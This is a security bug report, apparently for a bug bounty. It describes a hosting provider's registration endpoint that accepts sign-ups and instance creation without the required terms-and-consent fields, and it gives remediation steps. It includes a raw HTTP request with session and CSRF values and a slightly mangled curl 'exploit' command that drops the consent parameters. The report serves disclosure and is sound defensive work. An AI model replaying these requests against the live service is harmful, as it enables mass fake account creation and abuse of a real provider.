| 
	Task Description
	
 
Bug Report — Critical: Registration & Instance Creation — T&Cs / Consent Bypass
 
Target: https://admin.alwaysdata.com Endpoint(s): /register (web-form POST), root / POST (form that registers/creates instances) Reported by: Ritanshu Sharma Testing header: X-Bug-Bounty: SecurityTester-RitanshuSharma-2025 Date: (attach your submission date when sending) IP: 106.219.120.29  Executive summary (one line)
 
A critical business-logic vulnerability allows account registration and instance provisioning to succeed without server-side enforcement of Terms & Conditions / consent fields (contract_28, contract_36). The frontend requires checkboxes but the backend accepts requests where those parameters are omitted, empty, or tampered — enabling automated mass account/instance creation and creating major legal/compliance exposure.
 
Vulnerability classification
 
Type: Business Logic / Missing Server-side Consent Enforcement
 
CVSS (reported): 7.5 (High)
 
Auth required: None
 
Attack complexity: Low
 
Root cause
 
Server-side registration/instance-creation logic does not enforce required consent fields. Frontend checkboxes exist but backend validation is missing or bypassable; consent is not consistently persisted or validated before provisioning.
 
Proof of Concept (PoC) — exact requests tested PoC A — Working example (with consent fields included)
 
This is the valid POST observed (raw headers + body):
 
POST / HTTP/2 Host: admin.alwaysdata.com Cookie: django_language=fr; csrftoken=QNCysyCKIwz2VXEOf5V7idzSdxTN5ZeM; sessionid=mfos2ihpy3jh3f0zjfm3tueo2puu3vd7 Content-Length: 164 Cache-Control: max-age=0 Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Language: en-GB,en;q=0.9 Origin: https://admin.alwaysdata.com Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://admin.alwaysdata.com/ Accept-Encoding: gzip, deflate, br Priority: u=0, i
 
csrfmiddlewaretoken=2ZMSUgXC1YtJ9HVJ7MPTF8OuUftCddUCICegcEpczkSBUupncHAQNbdcXCcf82Ye&product=2012&name=nehasharma&password=Hello%40123&contract_28=on&contract_36=on
 
PoC B — Exploit (omit consent fields)
 
Send the same request body but remove contract_28 and contract_36. Result: registration / instance creation still succeeds.
 
curl example (exploit):
 
curl -k -v -X POST 'https://admin.alwaysdata.com/' \
 
H 'Host: admin.alwaysdata.com' \ 
 
H 'Content-Type: application/x-www-form-urlencoded' \ 
 
H 'Cookie: csrftoken=QNCysyCKIwz2VXEOf5V7idzSdxTN5ZeM; sessionid=mfos2ihpy3jh3f0zjfm3tueo2puu3vd7' \ 
 
- 
 
-data 'csrfmiddlewaretoken=2ZMSUgXC1YtJ9HVJ7MPTF8OuUftCddUCICegcEpczkSBUupncHAQNbdcXCcf82Ye&product=2012&name=nehasharma&password=Hello%40123' 
 
 
Observed behavior: The server responds as if registration succeeded (account/instance created). Screenshot and HTTP traces included in attachments.
 
Note: I used the csrftoken and sessionid values seen in the browser trace; exploit also succeeds when supplying a valid CSRF + session or when using other valid sessions in testing.
 
Additional tests to confirm scope
 
Submit POST from a curl client (no JS) — succeeds.
 
Submit POST with empty contract_28= or contract_36= — succeeds.
 
Submit POST to any other registration/instance endpoint (API or admin console) — behavior appears consistent (same lack of server-side consent check).
 
Check DB (see Audit queries) — many users exist without associated consent records.
 
Impact
 
Legal / Compliance: No recorded user consent → GDPR violations (no lawful basis under Article 6 for processing personal data), exposure to regulatory fines and complaints. Noncompliance with contractual terms can void protections.
 
Operational abuse: Automated mass account/instance provisioning → resource exhaustion, spam, abuse channels.
 
Business risks: Reputational damage, audit failures (SOC2/ISO27001), insurance/contractual risk, and potential litigation where users deny agreement to terms.
 
Reproduction evidence (attach when sending)
 
Screenshots of successful registration via exploit POST.
 
Video showing: form submission without consents → successful account/instance creation.
 
Raw HTTP request/response traces (attached).
 
Root-cause analysis (concise)
 
Frontend enforces checkbox UI but backend registration/instance creation handler(s) do not require or validate the presence/value of required consent parameters. Consent values are either not required for account creation, not stored, or not validated prior to resource provisioning.
 
Immediate remediation (apply within 24 hours)
 
Enforce server-side validation for required consent fields (contract_28, contract_36) in every code path that creates a user or provisions resources. If missing or false, return HTTP 400 with a clear error message. Do not proceed to create accounts or provision resources until consent is validated and persisted.
 
Persist consent records on acceptance: store {user_id, consent_key, consent_value, consent_version, timestamp, ip, user_agent, request_id}.
 
Temporarily enable rate-limiting + CAPTCHA on /register and any programmatic registration endpoints to reduce abuse.
 
Audit & quarantine: Identify accounts/instances created without consent; flag/quarantine them pending follow-up and retroactive consent collection.
 
Add monitoring/alerts for abnormal registration rates and missing consent storage events. 
 
	 |